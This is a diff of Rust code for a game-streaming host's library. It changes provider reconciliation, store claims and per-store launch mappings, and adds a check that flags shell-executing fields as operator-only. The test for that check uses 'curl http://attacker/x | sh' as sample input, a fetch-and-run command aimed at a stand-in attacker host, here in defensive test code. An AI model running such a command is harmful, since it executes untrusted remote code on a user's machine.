/// The other launch kinds (`steam_appid`, `epic`, `gog`, `aumid`, `lutris_id`, `heroic`) are all
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
pub fn privileged_field(
launch: Option<&LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<&'static str> {
if !prep.is_empty() {
return Some("prep");
}
if launch.is_some_and(|l| l.kind == "command") {
return Some("launch.kind = \"command\"");
}
None
}
/// Provider ids are path segments, event sources, and console labels: keep them tame.
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
@@ -378,26 +293,6 @@ pub fn validate_provider_name(provider: &str) -> Result<(), String> {
}
}
/// Store claims become the **prefix of every claimed entry's library id**, so they are far more
/// constrained than a provider name: no dots (an id is split on the first `:`, and a dotted store
/// would read as a hostname in logs), and the two host-owned namespaces are off-limits — `custom` is
/// the unclaimed-entry namespace and `manual` is the no-provider sentinel in `library.changed`.
pub fn validate_store_claim(store: &str) -> Result<(), String> {
if store == "custom" || store == "manual" {
return Err(format!("store id `{store}` is reserved"));
}
let ok = !store.is_empty()
&& store.len() <= 32
&& store
.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || matches!(b, b'-' | b'_'));
if ok {
Ok(())
} else {
Err("store id must be 132 chars of [a-z0-9_-]".into())
}
}
/// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the
/// diff key — a duplicate would make ownership of the surviving entry ambiguous).
pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> {
@@ -415,31 +310,6 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
e.external_id
));
}
// Closed-vocabulary launch kinds are checked on the way IN as well as at launch time, so a
// plugin gets a 400 it can act on rather than a tile that silently refuses to start.
if let Some(launch) = &e.launch {
if launch.kind == "steam_ui" && !valid_steam_ui(&launch.value) {
return Err(format!(
"entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`"
));
}
}
if let Some(marker) = &e.detect.env_marker {
if !valid_env_key(&marker.key) {
return Err(format!(
"entries[{i}]: `detect.env_marker.key` must be 164 chars of [A-Za-z0-9_]"
));
}
if marker
.value
.as_ref()
.is_some_and(|v| v.len() > MAX_ENV_VALUE)
{
return Err(format!(
"entries[{i}]: `detect.env_marker.value` must be at most {MAX_ENV_VALUE} chars"
));
}
}
}
Ok(())
}
@@ -451,7 +321,6 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
fn reconcile_entries(
entries: &mut Vec<CustomEntry>,
provider: &str,
store: Option<&str>,
inputs: Vec<ProviderEntryInput>,
) -> Vec<CustomEntry> {
// The provider's current entries, keyed by its own stable id.
@@ -476,10 +345,6 @@ fn reconcile_entries(
prep: input.prep,
provider: Some(provider.to_string()),
external_id: Some(input.external_id),
// Stamping the claim per entry is what makes the surfaced id deterministic
// (`<store>:<external_id>`) — see `library_id_for`.
store: store.map(str::to_string),
role: input.role,
detect: input.detect,
meta: input.meta,
});
@@ -489,86 +354,43 @@ fn reconcile_entries(
result
}
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`), optionally
/// under a **store claim** (D2: `?store=steam`). The caller validates the name and payload first.
/// Emits `library.changed` with the provider as the source.
///
/// Claiming is idempotent for the holder and refused for anyone else. A provider holds at most one
/// store, so claiming a new one releases whatever it held before — otherwise an abandoned claim would
/// go on suppressing a built-in scanner with nothing to replace it.
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`).
/// The caller validates the name and payload first. Emits `library.changed` with the provider
/// as the source.
pub fn reconcile_provider(
provider: &str,
store: Option<&str>,
inputs: Vec<ProviderEntryInput>,
) -> Result<MutateOutcome<Vec<CustomEntry>>> {
let mut catalog = load_catalog();
if let Some(store) = store {
if let Some(holder) = catalog.claims.get(store) {
if holder != provider {
return Ok(MutateOutcome::StoreClaimed {
store: store.to_string(),
provider: holder.clone(),
});
}
}
let previous: Vec<String> = catalog
.claims
.iter()
.filter(|(s, p)| p.as_str() == provider && s.as_str() != store)
.map(|(s, _)| s.clone())
.collect();
for stale in previous {
tracing::info!(provider, released = %stale, claimed = store, "library: provider moved its store claim");
catalog.claims.remove(&stale);
}
if catalog
.claims
.insert(store.to_string(), provider.to_string())
.is_none()
{
tracing::info!(provider, store, "library: store claimed by a provider");
}
}
let result = reconcile_entries(&mut catalog.entries, provider, store, inputs);
save_catalog(&catalog)?;
) -> Result<Vec<CustomEntry>> {
let mut entries = load_custom();
let result = reconcile_entries(&mut entries, provider, inputs);
save_custom(&entries)?;
emit_changed(provider);
Ok(MutateOutcome::Done(result))
Ok(result)
}
/// Remove every entry of `provider` **and release its store claim** (RFC §8:
/// `DELETE /library/provider/{provider}` — the clean-uninstall path). Returns how many entries were
/// removed; no event when nothing changed at all.
///
/// Releasing here — and only here — is what makes uninstalling a library plugin bring its built-in
/// scanner straight back, with no restart and nothing to undo by hand.
/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the
/// clean-uninstall path). Returns how many were removed; no event when nothing was.
pub fn delete_provider(provider: &str) -> Result<usize> {
let mut catalog = load_catalog();
let before = catalog.entries.len();
catalog
.entries
.retain(|e| e.provider.as_deref() != Some(provider));
let removed = before - catalog.entries.len();
let claims_before = catalog.claims.len();
catalog.claims.retain(|_, p| p != provider);
let released = claims_before - catalog.claims.len();
if removed > 0 || released > 0 {
if released > 0 {
tracing::info!(provider, released, "library: store claim released");
}
save_catalog(&catalog)?;
let mut entries = load_custom();
let before = entries.len();
entries.retain(|e| e.provider.as_deref() != Some(provider));
let removed = before - entries.len();
if removed > 0 {
save_custom(&entries)?;
emit_changed(provider);
}
Ok(removed)
}
/// The prep/undo steps for a library id — any **stored** entry (the in-host scanners have no
/// The prep/undo steps for a library id — `custom:<id>` entries only (the other stores have no
/// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead).
///
/// Resolved through [`entry_for_library_id`] rather than by stripping a `custom:` prefix, so a
/// claimed entry's prep still runs: after extraction a `steam:440` entry is a stored one, and
/// per-title prep is exactly the kind of thing an operator sets on a game they play.
pub fn prep_for(library_id: &str) -> Vec<crate::hooks::PrepCmd> {
entry_for_library_id(library_id)
let Some(id) = library_id.strip_prefix("custom:") else {
return Vec::new();
};
load_custom()
.into_iter()
.find(|e| e.id == id)
.map(|e| e.prep)
.unwrap_or_default()
}
@@ -581,7 +403,13 @@ fn emit_changed(source: &str) {
});
}
// `valid_steam_appid` moved to `launch.rs` (WP1.1) — it validates a launch value, not a store entry.
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
/// ([`windows_launch_for`]).
pub(crate) fn valid_steam_appid(value: &str) -> bool {
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
}
#[cfg(test)]
mod tests {
@@ -596,8 +424,6 @@ mod tests {
prep: Vec::new(),
provider: None,
external_id: None,
store: None,
role: GameRole::Game,
detect: DetectHint::default(),
meta: GameMeta::default(),
}
@@ -610,7 +436,6 @@ mod tests {
art: Artwork::default(),
launch: None,
prep: Vec::new(),
role: GameRole::Game,
detect: DetectHint::default(),
meta: GameMeta::default(),
}
@@ -632,79 +457,6 @@ mod tests {
assert_eq!(g.meta.platform.as_deref(), Some("PS2"));
}
/// D2's core promise: a **claimed** entry is indistinguishable from what the built-in scanner
/// produced. Same id, same store badge — plus the provider attribution the scanner never had.
#[test]
fn a_claimed_entry_reproduces_the_scanner_identity() {
let mut e = manual("host-assigned", "Portal 2");
e.provider = Some("steam".into());
e.external_id = Some("620".into());
e.store = Some("steam".into());
assert_eq!(library_id_for(&e), "steam:620");
let g: GameEntry = e.clone().into();
assert_eq!(g.id, "steam:620", "exactly what the scanner emitted");
assert_eq!(g.store, "steam", "the store badge, not `custom`");
assert_eq!(
g.provider.as_deref(),
Some("steam"),
"attribution rides along too"
);
// Unclaimed provider entries are untouched by any of this — rom-manager/playnite keep the
// opaque host id they have always had.
let mut u = manual("abc", "Chrono Trigger");
u.provider = Some("romm".into());
u.external_id = Some("rom-1".into());
assert_eq!(library_id_for(&u), "custom:abc");
assert_eq!(GameEntry::from(u).store, "custom");
// The source a toggle addresses: the claimed store when there is one, else the provider.
assert_eq!(source_id_for(&e), Some("steam"));
let mut r = manual("z", "T");
r.provider = Some("romm".into());
assert_eq!(source_id_for(&r), Some("romm"));
assert_eq!(
source_id_for(&manual("m", "Manual")),
None,
"never hideable"
);
}
/// A claimed entry keeps its `<store>:<external_id>` id across reconciles no matter what the
/// host-assigned id does — which is what keeps GameStream's FNV-1a app ids, client art caches
/// and Moonlight pins valid through the migration (the whole point of D2).
#[test]
fn claimed_ids_are_deterministic_across_reconciles() {
let mut entries = Vec::new();
let r1 = reconcile_entries(
&mut entries,
"steam",
Some("steam"),
vec![input("440", "Team Fortress 2"), input("620", "Portal 2")],
);
let ids: Vec<String> = r1.iter().map(library_id_for).collect();
assert_eq!(ids, ["steam:440", "steam:620"]);
// Re-sync with a renamed title and a new entry: the surfaced ids for surviving titles are
// byte-identical, and a brand-new title's id is derived, not random.
let r2 = reconcile_entries(
&mut entries,
"steam",
Some("steam"),
vec![
input("440", "Team Fortress 2 (2026)"),
input("70", "Half-Life"),
],
);
let ids2: Vec<String> = r2.iter().map(library_id_for).collect();
assert_eq!(ids2, ["steam:440", "steam:70"]);
// Dropping the claim on a later reconcile reverts them to opaque custom ids — the entries
// are the same rows, so this is exactly the "plugin stopped claiming" degradation.
let r3 = reconcile_entries(&mut entries, "steam", None, vec![input("440", "TF2")]);
assert!(library_id_for(&r3[0]).starts_with("custom:"));
}
/// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting —
/// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a
/// pre-metadata `library.json` / payload still parses (all-optional).
@@ -753,7 +505,6 @@ mod tests {
let r1 = reconcile_entries(
&mut entries,
"romm",
None,
vec![input("rom-a", "Game A"), input("rom-b", "Game B")],
);
assert_eq!(r1.len(), 2);
@@ -765,7 +516,6 @@ mod tests {
let r2 = reconcile_entries(
&mut entries,
"romm",
None,
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
);
assert_eq!(r2.len(), 2);
@@ -784,7 +534,6 @@ mod tests {
let r3 = reconcile_entries(
&mut entries,
"romm",
None,
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
);
assert_eq!(
@@ -805,7 +554,7 @@ mod tests {
.any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch")));
// Empty payload = remove everything the provider owns (same as DELETE).
let r4 = reconcile_entries(&mut entries, "romm", None, Vec::new());
let r4 = reconcile_entries(&mut entries, "romm", Vec::new());
assert!(r4.is_empty());
assert_eq!(
entries.len(),
@@ -814,96 +563,33 @@ mod tests {
);
}
/// `library.json` v1 (a bare array) must keep loading, and v2 (the claims object) must round
/// trip. This is the only migration in the whole program — get it wrong and an existing host
/// silently loses its manual entries on upgrade.
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
/// later hands to a shell are operator-only. Everything else — including every host-resolved
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
#[test]
fn v1_and_v2_library_files_both_load() {
// v1: exactly what a shipped host has on disk today.
let v1 = r#"[{"id":"abc","title":"Old Manual"}]"#;
let c = match serde_json::from_str::<LibraryFile>(v1).unwrap() {
LibraryFile::Legacy(entries) => Catalog {
entries,
claims: BTreeMap::new(),
},
LibraryFile::V2(_) => panic!("an array must not parse as v2"),
fn privileged_field_is_command_execution_only() {
let cmd = LaunchSpec {
kind: "command".into(),
value: "curl http://attacker/x | sh".into(),
};
assert_eq!(c.entries.len(), 1);
assert_eq!(c.entries[0].title, "Old Manual");
assert!(c.claims.is_empty());
// v2, including a claim.
let v2 = r#"{"entries":[{"id":"abc","title":"New"}],"claims":{"steam":"steam"}}"#;
let c = match serde_json::from_str::<LibraryFile>(v2).unwrap() {
LibraryFile::V2(c) => c,
LibraryFile::Legacy(_) => panic!("an object must not parse as v1"),
let steam = LaunchSpec {
kind: "steam_appid".into(),
value: "70".into(),
};
assert_eq!(c.entries.len(), 1);
assert_eq!(c.claims.get("steam").map(String::as_str), Some("steam"));
let prep = vec![crate::hooks::PrepCmd {
run: "curl http://attacker/x | sh".into(),
undo: None,
}];
// A v2 file with no claims key at all (what the first write after upgrade produces before
// anything is claimed) still loads.
let bare = r#"{"entries":[]}"#;
assert!(matches!(
serde_json::from_str::<LibraryFile>(bare).unwrap(),
LibraryFile::V2(_)
));
// And what we WRITE is v2, so one mutation upgrades the file in place.
let written = serde_json::to_string(&Catalog::default()).unwrap();
assert!(written.contains("\"entries\""));
assert!(written.contains("\"claims\""));
}
#[test]
fn store_claim_validation() {
assert!(validate_store_claim("steam").is_ok());
assert!(validate_store_claim("epic-games").is_ok());
assert!(validate_store_claim("xbox_pc").is_ok());
// The two host-owned namespaces are off-limits.
assert!(validate_store_claim("custom").is_err());
assert!(validate_store_claim("manual").is_err());
assert!(validate_store_claim("").is_err());
assert!(validate_store_claim("Steam").is_err()); // no uppercase
// A dot would read as a hostname in a log line and muddies the `store:id` split.
assert!(validate_store_claim("my.store").is_err());
assert!(validate_store_claim(&"s".repeat(33)).is_err());
}
/// The closed-vocabulary fields are rejected at the door, so a plugin gets a 400 rather than a
/// tile that silently refuses to launch.
#[test]
fn payload_validation_covers_the_new_closed_vocabularies() {
let with_launch = |kind: &str, value: &str| {
let mut i = input("a", "A");
i.launch = Some(LaunchSpec {
kind: kind.into(),
value: value.into(),
});
i
};
assert!(validate_provider_payload(&[with_launch("steam_ui", "bigpicture")]).is_ok());
assert!(validate_provider_payload(&[with_launch("steam_ui", "desktop")]).is_ok());
assert!(validate_provider_payload(&[with_launch("steam_ui", "gamepad")]).is_err());
assert!(validate_provider_payload(&[with_launch("steam_ui", "")]).is_err());
// Other kinds are unconstrained here (the host validates them per-kind at launch).
assert!(validate_provider_payload(&[with_launch("command", "anything")]).is_ok());
let with_env = |key: &str, value: Option<&str>| {
let mut i = input("a", "A");
i.detect.env_marker = Some(EnvMarker {
key: key.into(),
value: value.map(str::to_string),
});
i
};
assert!(validate_provider_payload(&[with_env("HEROIC_APP_NAME", Some("Quail"))]).is_ok());
assert!(validate_provider_payload(&[with_env("BAD-KEY", None)]).is_err());
assert!(validate_provider_payload(&[with_env("", None)]).is_err());
assert!(
validate_provider_payload(&[with_env("K", Some(&"x".repeat(MAX_ENV_VALUE + 1)))])
.is_err()
assert_eq!(
privileged_field(Some(&cmd), &[]),
Some("launch.kind = \"command\"")
);
assert_eq!(privileged_field(None, &prep), Some("prep"));
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
assert_eq!(privileged_field(Some(&steam), &[]), None);
assert_eq!(privileged_field(None, &[]), None);
}
#[test]
+6 -119
View File
@@ -19,34 +19,15 @@
use super::*;
/// An environment variable a launcher stamps onto the game's process, identifying it.
///
/// Serializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin
/// that knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to
/// be able to say so, since after extraction the host no longer reads that launcher's files itself.
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
#[derive(Clone, Debug, PartialEq, Eq)]
pub struct EnvMarker {
/// The variable name (e.g. `HEROIC_GAME_ID`).
#[schema(example = "HEROIC_APP_NAME")]
pub key: String,
/// The exact value to require, when the launcher's value identifies *this* title. `None` matches
/// the key's mere presence — only safe for launchers that run one game at a time.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub value: Option<String>,
}
/// The env-var name charset a hint may carry: `[A-Za-z0-9_]{1,64}`, POSIX-shaped. An out-of-charset
/// key is not a real environment variable, so accepting one could only ever produce a matcher rule
/// that never fires (or, with an absurd length, a needless per-process comparison cost).
pub(crate) fn valid_env_key(key: &str) -> bool {
!key.is_empty()
&& key.len() <= 64
&& key.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_')
}
/// Longest env-var VALUE a hint may pin. Values are compared against every candidate process's
/// environment, so an unbounded one is a (small) DoS lever and never a legitimate game id.
pub(crate) const MAX_ENV_VALUE: usize = 256;
/// The signals that identify a launched title's process(es). Every field is optional and
/// independent; an all-`None` spec means "this title can't be tracked" (the lease degrades to
/// [`crate::gamelease::LeaseKind::Untracked`] and both lifetime behaviors stay inert for it).
@@ -134,11 +115,6 @@ impl DetectSpec {
self.install_dir = self.install_dir.or(from.install_dir);
self.exe = self.exe.or(from.exe);
self.process_name = self.process_name.or(from.process_name);
// D3: the two store-derived signals are fillable from a hint now that the store may live in
// a plugin. Same rule as the other three — the host's own finding wins where it has one,
// which for a provider entry is moot (the host scanned nothing for it).
self.steam_appid = self.steam_appid.or(from.steam_appid);
self.env_marker = self.env_marker.or(from.env_marker);
self
}
}
@@ -167,31 +143,12 @@ pub struct DetectHint {
/// — see [`DetectSpec::process_name`].
#[serde(default, skip_serializing_if = "Option::is_none")]
pub process_name: Option<String>,
/// The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**
/// signal that exists — Steam wraps every launch, native or Proton, in
/// `reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a
/// steam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub steam_appid: Option<u32>,
/// A launcher-stamped environment marker (D3) — see [`EnvMarker`].
#[serde(default, skip_serializing_if = "Option::is_none")]
pub env_marker: Option<EnvMarker>,
}
impl DetectHint {
/// Whether the hint says anything at all (all-empty is treated as absent).
pub fn is_empty(&self) -> bool {
self.trimmed().is_none() && self.steam_appid.is_none() && self.env_marker().is_none()
}
/// The env marker, if it is well-formed. A malformed one is dropped rather than rejected, for
/// the same reason a blank `install_dir` is: hint fields are hand-writable plugin input, and the
/// matcher must never be handed a rule it can't honour.
fn env_marker(&self) -> Option<&EnvMarker> {
self.env_marker
.as_ref()
.filter(|m| valid_env_key(&m.key))
.filter(|m| m.value.as_ref().is_none_or(|v| v.len() <= MAX_ENV_VALUE))
self.trimmed().is_none()
}
/// The hint with blank fields dropped, or `None` if nothing is left. Console text inputs and
@@ -209,13 +166,14 @@ impl DetectHint {
/// A provider's hint becomes a spec — the one inbound path into [`DetectSpec`].
impl From<&DetectHint> for DetectSpec {
fn from(h: &DetectHint) -> Self {
let (install_dir, exe, process_name) = h.trimmed().unwrap_or((None, None, None));
let Some((install_dir, exe, process_name)) = h.trimmed() else {
return Self::default();
};
Self {
install_dir: install_dir.map(PathBuf::from),
exe: exe.map(PathBuf::from),
process_name: process_name.map(str::to_string),
steam_appid: h.steam_appid,
env_marker: h.env_marker().cloned(),
..Default::default()
}
}
}
@@ -315,7 +273,6 @@ mod tests {
install_dir: Some("".into()),
exe: Some(" ".into()),
process_name: Some("\t".into()),
..Default::default()
};
assert!(blank.is_empty());
assert!(DetectSpec::from(&blank).is_empty(), "nothing to match on");
@@ -324,7 +281,6 @@ mod tests {
install_dir: Some(" /games/quail ".into()),
exe: None,
process_name: Some("quail".into()),
..Default::default()
};
assert!(!hint.is_empty());
let spec = DetectSpec::from(&hint);
@@ -343,7 +299,6 @@ mod tests {
install_dir: Some("/games/wrong".into()),
exe: Some("/games/real/run".into()),
process_name: None,
..Default::default()
};
let merged = found.or_hint(&hint);
assert_eq!(
@@ -362,74 +317,6 @@ mod tests {
.is_empty());
}
/// D3: the two store-derived signals now ride the hint, because after extraction the host no
/// longer reads Steam's or Heroic's files itself. Without them a plugin's lease tracking would
/// silently degrade — reaper-exact to dir-prefix on Linux Steam, and gone entirely for Heroic
/// under Proton, where the env marker is the only thing that works.
#[test]
fn a_hint_can_carry_the_store_derived_signals() {
let hint = DetectHint {
steam_appid: Some(440),
env_marker: Some(EnvMarker {
key: "HEROIC_APP_NAME".into(),
value: Some("Quail".into()),
}),
..Default::default()
};
assert!(!hint.is_empty(), "either field alone is a real hint");
let spec = DetectSpec::from(&hint);
assert_eq!(spec.steam_appid, Some(440));
assert_eq!(spec.env_marker.as_ref().unwrap().key, "HEROIC_APP_NAME");
// A steam_appid on its own is enough to be trackable.
let only_appid = DetectHint {
steam_appid: Some(620),
..Default::default()
};
assert!(!only_appid.is_empty());
assert!(!DetectSpec::from(&only_appid).is_empty());
// The host's own finding still wins where it has one (unchanged rule).
let found = DetectSpec::steam(70);
assert_eq!(found.or_hint(&hint).steam_appid, Some(70));
// …but a field the host had nothing for is filled in.
assert_eq!(
DetectSpec::dir("/games/x")
.or_hint(&hint)
.env_marker
.unwrap()
.key,
"HEROIC_APP_NAME"
);
}
/// A malformed marker is DROPPED, not honoured — same posture as a blank `install_dir`. The
/// matcher must never be handed a rule it cannot evaluate, and these values reach a code path
/// that can end processes.
#[test]
fn a_malformed_env_marker_says_nothing() {
let bad = |key: &str, value: Option<String>| DetectHint {
env_marker: Some(EnvMarker {
key: key.into(),
value,
}),
..Default::default()
};
assert!(bad("", None).is_empty());
assert!(bad("HAS-DASH", None).is_empty(), "not a POSIX env name");
assert!(bad("HAS SPACE", None).is_empty());
assert!(bad(&"K".repeat(65), None).is_empty(), "over the key cap");
assert!(
bad("K", Some("v".repeat(MAX_ENV_VALUE + 1))).is_empty(),
"over the value cap"
);
// …and a well-formed one at exactly the caps is kept.
assert!(!bad(&"K".repeat(64), Some("v".repeat(MAX_ENV_VALUE))).is_empty());
assert!(DetectSpec::from(&bad("HAS-DASH", None))
.env_marker
.is_none());
}
#[test]
fn first_token_handles_quotes_and_spaces() {
assert_eq!(
+34 -3
View File
@@ -100,7 +100,6 @@ fn epic_entry(
};
Some(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("epic:{app_name}"),
store: "epic".into(),
@@ -187,8 +186,25 @@ fn epic_art_index(catcache: &Path) -> std::collections::HashMap<String, Artwork>
map
}
// The `epic` launch mapping (`epic_launch_uri`) lives in `launch.rs` (WP1.1) — this module
// enumerates, it does not launch.
/// Build the `com.epicgames.launcher://` launch URI from a stored launch value — the triple
/// `<namespace>:<catalogItemId>:<appName>` (colons URL-encoded), or a bare `<appName>` fallback.
/// Each part is charset-validated (host-derived, but belt-and-suspenders) so no shell/URI injection.
#[cfg(windows)]
pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
let ok = |s: &str| {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
};
let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
[ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
[app] if ok(app) => (*app).to_string(),
_ => return None,
};
Some(format!(
"com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
))
}
#[cfg(test)]
mod tests {
@@ -220,4 +236,19 @@ mod tests {
assert!(epic_entry(&gone, &empty).is_none());
std::fs::remove_dir_all(&dir).ok();
}
#[cfg(windows)]
#[test]
fn epic_launch_uri_triple_bare_and_guard() {
assert_eq!(
epic_launch_uri("fn:abc:Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
);
assert_eq!(
epic_launch_uri("Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
);
assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
assert!(epic_launch_uri("").is_none());
}
}
+27 -3
View File
@@ -57,7 +57,6 @@ fn gog_games() -> Vec<GameEntry> {
let detect = DetectSpec::exe(&exe).with_dir(&path);
out.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id,
store: "gog".into(),
@@ -134,13 +133,38 @@ fn gog_play_task(install: &str, id: &str) -> Option<(String, String, String)> {
))
}
// The `gog` launch mapping (`gog_spawn`) lives in `launch.rs` (WP1.1) — this module enumerates and
// resolves the spawn triple off disk, but turning that triple into a command line is launch-side.
/// Build the spawn `(command line, working dir)` for a `gog` launch value (`exe \t args \t workdir`,
/// all host-resolved from the operator's own disk). Direct exe — no shell, no Galaxy.
#[cfg(windows)]
pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
let mut parts = value.split('\t');
let exe = parts.next().filter(|s| !s.is_empty())?;
let args = parts.next().unwrap_or("");
let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
let cmdline = if args.trim().is_empty() {
format!("\"{exe}\"")
} else {
format!("\"{exe}\" {args}")
};
Some((cmdline, workdir))
}
#[cfg(test)]
mod tests {
use super::*;
#[cfg(windows)]
#[test]
fn gog_spawn_parses_and_guards() {
let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
assert_eq!(cmd2, "\"C:\\g.exe\"");
assert!(wd2.is_none());
assert!(gog_spawn("").is_none());
}
#[cfg(windows)]
#[test]
fn gog_play_task_picks_primary_filetask() {
+42 -3
View File
@@ -109,7 +109,6 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
};
games.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("heroic:{runner}:{app_name}"),
store: "heroic".into(),
@@ -129,8 +128,48 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
Ok(games)
}
// The `heroic` launch mapping (`heroic_command` + its launcher-prefix probe) lives in `launch.rs`
// (WP1.1) — this module enumerates, it does not launch.
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
/// running on the box, the spawned process forwards the URI and exits, which would tear the session
/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
#[cfg(target_os = "linux")]
pub(crate) fn heroic_command(value: &str) -> Option<String> {
let (runner, app) = value.split_once(':')?;
if !matches!(runner, "legendary" | "gog" | "nile") {
return None;
}
// appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
if app.is_empty()
|| !app
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
{
return None;
}
let prefix = heroic_launch_prefix()?;
// No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
// is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
Some(format!(
"{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
))
}
/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
/// root is present. `None` ⇒ Heroic not found, so no launch command.
#[cfg(target_os = "linux")]
fn heroic_launch_prefix() -> Option<String> {
let on_path = std::env::var_os("PATH")
.is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
if on_path {
return Some("heroic".into());
}
let flatpak = std::env::var_os("HOME")
.map(PathBuf::from)
.is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
}
#[cfg(test)]
mod tests {
+5 -237
View File
@@ -1,14 +1,12 @@
//! Title launch: resolve a library id / raw command into an executable command line (per-store +
//! per-OS), and the gamescope-session launch helpers. Split out of the `library` facade (plan §W5).
//!
//! This module owns the **whole launch side** of the library: the `kind` vocabulary, its per-kind
//! charset validators, and the per-OS resolvers. That split is deliberate and load-bearing — the
//! scanner modules beside it do *enumeration only*, so they can be lifted out into library plugins
//! without taking any launch logic with them (design/library-scanner-plugins.md D1: a client sends
//! only an entry id and the host resolves the [`LaunchSpec`] it holds, which stays true whether the
//! entry was enumerated in-process or reconciled in by a plugin).
use super::custom::valid_steam_appid;
#[cfg(target_os = "linux")]
use super::heroic::heroic_command;
use super::*;
#[cfg(windows)]
use super::{epic::epic_launch_uri, gog::gog_spawn};
/// Everything a session needs about the title it is launching, resolved in **one** library scan:
/// what to run, what to call it, and how to recognize it once it is running.
@@ -86,13 +84,6 @@ fn command_for(spec: &LaunchSpec) -> Option<String> {
// Heroic: `<runner>:<appName>` → the validated heroic://launch command (see heroic_command).
#[cfg(target_os = "linux")]
"heroic" => heroic_command(&spec.value),
// A launcher entry (D4): open the Steam client itself, in Big Picture or on the desktop.
// Nested in gamescope this is the SteamOS game-mode shape.
"steam_ui" => match spec.value.as_str() {
"bigpicture" => Some("steam -gamepadui".into()),
"desktop" => Some("steam".into()),
_ => None,
},
// Trusted: the command comes from the host's own custom store, never the client.
"command" => (!spec.value.trim().is_empty()).then(|| spec.value.clone()),
_ => None,
@@ -147,21 +138,6 @@ fn windows_launch_for(spec: &LaunchSpec) -> Option<(String, Option<std::path::Pa
};
Some((cmdline, None))
}
// A launcher entry (D4): open the Steam client's own UI. Same Steam.exe-then-explorer ladder
// as `steam_appid`, and the URI is one of exactly two host-owned literals — nothing from the
// entry is interpolated at all.
"steam_ui" => {
let uri = match spec.value.as_str() {
"bigpicture" => "steam://open/bigpicture",
"desktop" => "steam://open/main",
_ => return None,
};
let cmdline = match steam_exe() {
Some(exe) => format!("\"{}\" \"{uri}\"", exe.display()),
